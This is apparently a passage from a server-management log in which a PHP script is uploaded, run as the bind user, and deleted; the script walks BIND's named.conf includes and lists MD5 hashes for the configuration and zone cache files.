MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 6e0e1cd91e9c100ac56c82cc9cbc9b84
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:06:30: Establishing a connection
2026-02-09 15:06:30: 

PUT: /tmp/pkp557660

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:06:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp557660; rm /tmp/pkp557660'

2026-02-09 15:06:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
